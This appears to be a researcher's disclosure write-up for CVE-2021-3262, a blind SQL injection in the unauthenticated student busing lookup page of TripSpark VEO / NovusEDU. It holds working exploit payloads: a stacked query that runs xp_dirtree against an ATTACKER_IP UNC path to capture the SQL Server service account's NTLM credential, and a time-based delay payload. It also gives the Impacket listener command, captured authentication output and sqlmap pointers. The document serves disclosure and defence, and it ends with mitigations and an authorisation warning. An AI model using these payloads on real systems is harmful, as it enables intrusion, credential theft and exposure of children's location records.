
CVE-2021-3262 - Blind SQL Injection in the editOEN parameter of TripSpark VEO Transportation / NovusEDU. Unauthenticated, internet-facing. Payloads, annotated requests, and evidence.
SQL Injection in TripSpark VEO Transportation / NovusEDU
The public "Student Busing Information" lookup page shipped with TripSpark VEO
Transportation takes unauthenticated POST body input and concatenates it into a SQL
Server query without parameterisation or server-side validation. The editOEN parameter
(the student number field) is injectable.
The injection is blind: the application returns no database errors and no differential
content worth reading. It is still fully exploitable out of band, because the database
connection can reach master.dbo.xp_dirtree, which forces the SQL Server service
account to authenticate outbound over SMB to an attacker-supplied UNC path.
Found during an external penetration test. On the original engagement the captured service account credential was the foothold that led to full compromise of the client's Active Directory domain and forest.
Published as CVE-2021-3262. Discovered and reported by Sedric Louissaint of Show Up Show Out Security.
| CVE | CVE-2021-3262 |
| Product | TripSpark VEO Transportation / NovusEDU |
| Affected | NovusEDU-2.2.x-XP_BB-20201123-184084, VEO--20201123-184084OS |
| Weakness | CWE-89: SQL Injection |
| CVSS 3.1 (NVD) | 9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2 (researcher) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| Published | 2023-08-29 |
| Tested on | Windows Server 2012 R2 Standard, SQL Server 2012 (SP3) 11.0.6020.0 (x64) |
| Authentication required | None. The lookup page is internet facing by design. |
NVD description:
TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084 NovusEDU-2.2.x-XP_BB-20201123-184084 allows unsafe data inputs in POST body parameters from end users without sanitizing using server-side logic. It was possible to inject custom SQL commands into the "Student Busing Information" search queries.
Districts deploy the "Student Busing Information" page on their public website so parents can look up a student's bus assignment. It asks for a student N Number and a birthdate, and it is intentionally unauthenticated.

The N Number field posts as editOEN. The birthdate posts as cboxMonth, cboxDay and
cboxYear. editOEN is the injectable parameter.
Unlike many ASP.NET applications of this vintage, this page does not echo database errors. There is no visible difference between a well-formed query and a broken one, so in-band techniques are a dead end.
Stacked queries do execute, which is all that is needed.
master.dbo.xp_dirtree enumerates a directory. Given a UNC path, SQL Server
authenticates to the target host over SMB before reading it. Pointing it at a listener
turns a silent injection into a visible one:
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

The request is an ordinary ASP.NET WebForms POST, roughly 4,700 bytes, most of which is
__VIEWSTATE. Full request in
poc/exploited-request.http, payloads in
poc/payloads.sql.

With Impacket's smbserver.py listening on a host on the public internet, the database
server inside the district's network authenticates outbound:
[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,<REDACTED>-VEO-DB)
[*] User <REDACTED>-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

Two things are worth naming explicitly. First, this is an unauthenticated internet-facing form reaching a production database. Second, that database server was permitted to make outbound SMB connections to arbitrary internet hosts, which is what made the blind injection observable.
Beyond the injection itself, the captured NTLMv2 credential for the SQL Server service account was the initial foothold on the original engagement. From there the assessment escalated to full compromise of the client's Active Directory domain and forest.
The data at risk is student transportation records: names, home addresses, assigned bus, assigned stop, pickup times, and special education routing. That is a schedule of where identifiable children will physically be at known times.
Against a lab instance you own or are authorised to test:
sudo smbserver.py c . -smb2support
xp_dirtree payload from
poc/payloads.sql in the N Number field, substituting your own
IP. Capture and replay the POST rather than typing into the browser if the field has a
client-side length limit, since that limit does not exist server side.123'; waitfor delay '0:0:10';--
poc/
payloads.sql Detection, time-based and out-of-band payloads for editOEN
exploited-request.http The full POST request, ready for sqlmap -r
sqlmap.md sqlmap invocations for a blind stacked-query injection
media/
01-student-busing-information-page.png
02-editoen-payload-in-burp.png
03-forced-auth-captured-impacket.png
04-exploited-http-request.png
Client identifiers in the captures are redacted. The listener addresses are from the original engagement and are long dead. Substitute your own when reproducing.
editOEN as a parameter and the payload becomes an
inert string no matter what is in it.xp_dirtree and the
other extended stored procedures.| Date | Event |
|---|---|
| 2021 | Found during an external penetration test and reported to TripSpark |
| 2023-08-29 | CVE-2021-3262 published to NVD, scored 9.8 Critical |
Published after disclosure, for defensive and educational use. Do not run these payloads against systems you do not own or have written authorisation to test. If you administer a district deployment, the useful action here is to ask your vendor, in writing, whether the queries behind your public forms are parameterised.